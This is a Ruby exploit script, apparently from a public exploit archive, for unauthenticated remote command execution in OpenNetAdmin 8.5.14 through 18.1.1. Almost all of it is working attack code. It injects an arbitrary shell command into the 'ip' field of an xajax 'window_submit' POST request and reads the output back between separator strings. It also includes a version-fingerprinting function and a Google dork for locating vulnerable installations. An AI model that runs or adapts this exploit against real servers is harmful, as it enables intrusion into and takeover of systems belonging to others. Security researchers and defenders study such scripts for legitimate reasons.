exploit.rb

#!/usr/bin/env ruby

# Exploit
## Title: OpenNetAdmin 8.5.14 <= 18.1.1 - Remote Command Execution
## Google Dorks:
##   inurl:/ona/
## Author: noraj (Alexandre ZANNI) for SEC-IT (http://secit.fr)
## Author website: https://pwn.by/noraj/
## Date: 2021-05-07
## Vendor Homepage: https://github.com/opennetadmin/ona
## Software Link: https://github.com/opennetadmin/ona/archive/refs/tags/v18.1.1.tar.gz
## Version: 8.5.14 to 18.1.1
## Tested on: OpenNetAdmin 18.1.1
## Patch: Use git master branch (no new version released)

# Vulnerabilities
## Discoverer: mattpascoe
## Date: 2019-11-19
## Discoverer website: https://github.com/mattpascoe
## Discovered on OpenNetAdmin 18.1.1
## Vulnerability 1:
##   Title: OpenNetAdmin 18.1.1 - Remote Code Execution
##   CVE: none
##   References: https://www.exploit-db.com/exploits/47691

require 'httpx'
require 'docopt'

doc = <<~DOCOPT
  OpenNetAdmin 8.5.14 <= 18.1.1 - Remote Command Execution

  Usage:
    #{__FILE__} exploit <url> <cmd> [--debug]
    #{__FILE__} version <url> [--debug]
    #{__FILE__} -h | --help

  exploit:      Exploit the RCE vuln
  version:      Try to fetch OpenNetAdmin version

  Options:
    <url>       Root URL (base path) including HTTP scheme, port and root folder
    <cmd>       Command to execute on the target
    --debug     Display arguments
    -h, --help  Show this screen

  Examples:
    #{__FILE__} exploit http://example.org id
    #{__FILE__} exploit https://example.org:5000/ona 'touch hackproof'
    #{__FILE__} version https://example.org:5000/ona
DOCOPT

def exploit(root_url, cmd, separator)
  params = {
    'xajax' => 'window_submit',
    'xajaxargs' => ['tooltips', "ip=>; echo #{separator}; #{cmd} 2>&1; echo #{separator}", 'ping']
  }

  res = HTTPX.post(root_url, form: params).body.to_s.match(/#{separator}(.*)#{separator}/m)

  return '[-] Target not vulnerable' if res.captures[0].nil?

  res.captures[0]
end

def version(root_url)
  params = {
    'xajax' => 'window_open',
    'xajaxargs' => ['app_about']
  }

  res = HTTPX.post(root_url, form: params).body.to_s.match(/<u>&copy; \d{4} OpenNetAdmin - v(\S+)<\/u>/)

  return '[-] Version not found' if res.captures[0].nil?

  res.captures[0]
end

begin
  args = Docopt.docopt(doc)
  pp args if args['--debug']

  if args['version']
    puts version(args['<url>'])
  else
    SEPARATOR = '556cc23863fef20fab5c456db166bc6e'.freeze

    output = exploit(args['<url>'], args['<cmd>'], SEPARATOR)
    puts '[+] Command output:'
    puts output
  end
rescue Docopt::Exit => e
  puts e.message
end